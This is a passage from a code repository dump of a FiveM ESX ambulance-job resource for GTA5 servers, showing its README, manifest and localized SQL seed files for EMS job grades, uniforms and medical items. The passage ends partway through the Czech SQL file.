├── README.md
├── fxmanifest.lua
├── localization
├── en_esx_ambulancejob.sql
├── br_esx_ambulancejob.sql
├── de_esx_ambulancejob.sql
├── tr_esx_ambulancejob.sql
├── cs_esx_ambulancejob.sql
├── fi_esx_ambulancejob.sql
├── sv_esx_ambulancejob.sql
└── pl_esx_ambulancejob.sql
├── esx_ambulancejob.sql
├── locales
├── tr.lua
├── et.lua
├── cs.lua
├── si.lua
├── pl.lua
├── en.lua
├── sv.lua
├── fi.lua
├── nl.lua
├── br.lua
├── de.lua
├── fr.lua
├── hu.lua
└── es.lua
├── config.lua
├── client
├── vehicle.lua
├── main.lua
└── job.lua
└── server
└── main.lua
/README.md:
--------------------------------------------------------------------------------
1 | ### Installation
2 | 1) Download the latest version in the "code" tab on GitHub.
3 | 2) Drag & drop the folder into your `resources` server folder.
4 | 4) Add `start esx_ambulancejob` to your server.cfg and add the sql if you have
5 | 5) Reboot your server
6 |
7 |
8 | ## Requirements
9 |
10 | `Required`:
11 |
12 | esx_skin
13 | esx_vehicleshop
14 |
15 | `Optional`:
16 |
17 | esx_society
--------------------------------------------------------------------------------
/fxmanifest.lua:
--------------------------------------------------------------------------------
1 | fx_version 'adamant'
2 |
3 | game 'gta5'
4 |
5 | description 'ESX Ambulance Job'
6 |
7 | lua54 'yes'
8 | version '1.8.5'
9 |
10 | shared_scripts {
11 | '@es_extended/imports.lua',
12 | '@es_extended/locale.lua',
13 | 'locales/*.lua',
14 | 'config.lua'
15 | }
16 |
17 |
18 | server_scripts {
19 | '@oxmysql/lib/MySQL.lua',
20 | 'server/main.lua'
21 | }
22 |
23 | client_scripts {
24 | 'client/main.lua',
25 | 'client/job.lua',
26 | 'client/vehicle.lua',
27 | }
28 |
29 | dependencies {
30 | 'es_extended',
31 | 'esx_skin',
32 | 'esx_vehicleshop'
33 | }
34 |
--------------------------------------------------------------------------------
/localization/en_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'EMS', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'EMS', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'EMS', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulance','Jr. EMT',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'doctor','EMT',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'chief_doctor','Sr. EMT',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','EMT Supervisor',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','EMS')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','Bandage', 2),
28 | ('medikit','Medikit', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 | INSERT INTO `addon_account` (name, label, shared) VALUES
2 | ('society_ambulance', 'Ambulance', 1)
3 | ;
4 |
5 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
6 | ('society_ambulance', 'Ambulance', 1)
7 | ;
8 |
9 | INSERT INTO `datastore` (name, label, shared) VALUES
10 | ('society_ambulance', 'Ambulance', 1)
11 | ;
12 |
13 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
14 | ('ambulance',0,'ambulance','Ambulancier',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
15 | ('ambulance',1,'doctor','Medecin',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
16 | ('ambulance',2,'chief_doctor','Medecin-chef',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',3,'boss','Chirurgien',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
18 | ;
19 |
20 | INSERT INTO `jobs` (name, label) VALUES
21 | ('ambulance','Ambulance')
22 | ;
23 |
24 | INSERT INTO `items` (name, label, weight) VALUES
25 | ('bandage','Bandage', 2),
26 | ('medikit','Medikit', 2)
27 | ;
28 |
29 | ALTER TABLE `users`
30 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
31 | ;
32 |
--------------------------------------------------------------------------------
/localization/br_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'EMS', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'EMS', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'EMS', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulância','Jr. EMT',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'medico','EMT',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'medico chefe','Sr. EMT',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','EMT Supervisor',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','EMS')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','curativo', 2),
28 | ('medikit','kit medico', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/localization/de_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'Notdienst', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'Ambulance', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'Ambulance', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulance','Sanitäter',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'doctor','Arzt',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'chief_doctor','Chefarzt',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','Chirurg',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','Notdienst')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','Bandage', 2),
28 | ('medikit','Medikit', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/localization/tr_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'EMS', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'EMS', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'EMS', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulance','Acil Tıp Teknisyeni',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'doctor','Doktor',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'chief_doctor','Kdemli Doktor',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','Baş Hekim',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','EMS')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','Bandaj', 2),
28 | ('medikit','Sağlık Kiti', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
32 | ADD `is_dead` TINYINT(1) NULL DEFAULT '0'
33 | ;
34 |
--------------------------------------------------------------------------------
/localization/cs_esx_ambulancejob.sql:
--------------------------------------------------------------------------------
1 |
2 |
3 | INSERT INTO `addon_account` (name, label, shared) VALUES
4 | ('society_ambulance', 'Záchranka', 1)
5 | ;
6 |
7 | INSERT INTO `addon_inventory` (name, label, shared) VALUES
8 | ('society_ambulance', 'Záchranka', 1)
9 | ;
10 |
11 | INSERT INTO `datastore` (name, label, shared) VALUES
12 | ('society_ambulance', 'Záchranka', 1)
13 | ;
14 |
15 | INSERT INTO `job_grades` (job_name, grade, name, label, salary, skin_male, skin_female) VALUES
16 | ('ambulance',0,'ambulance','Zdravotník',20,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
17 | ('ambulance',1,'doctor','Doktor',40,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
18 | ('ambulance',2,'chief_doctor','Primář',60,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}'),
19 | ('ambulance',3,'boss','Chirurg',80,'{\"tshirt_2\":0,\"hair_color_1\":5,\"glasses_2\":3,\"shoes\":9,\"torso_2\":3,\"hair_color_2\":0,\"pants_1\":24,\"glasses_1\":4,\"hair_1\":2,\"sex\":0,\"decals_2\":0,\"tshirt_1\":15,\"helmet_1\":8,\"helmet_2\":0,\"arms\":92,\"face\":19,\"decals_1\":60,\"torso_1\":13,\"hair_2\":0,\"skin\":34,\"pants_2\":5}','{\"tshirt_2\":3,\"decals_2\":0,\"glasses\":0,\"hair_1\":2,\"torso_1\":73,\"shoes\":1,\"hair_color_2\":0,\"glasses_1\":19,\"skin\":13,\"face\":6,\"pants_2\":5,\"tshirt_1\":75,\"pants_1\":37,\"helmet_1\":57,\"torso_2\":0,\"arms\":14,\"sex\":1,\"glasses_2\":0,\"decals_1\":0,\"hair_2\":0,\"helmet_2\":0,\"hair_color_1\":0}')
20 | ;
21 |
22 | INSERT INTO `jobs` (name, label) VALUES
23 | ('ambulance','Záchranka')
24 | ;
25 |
26 | INSERT INTO `items` (name, label, weight) VALUES
27 | ('bandage','Obvaz', 2),
28 | ('medikit','Lékarnička', 2)
29 | ;
30 |
31 | ALTER TABLE `users`
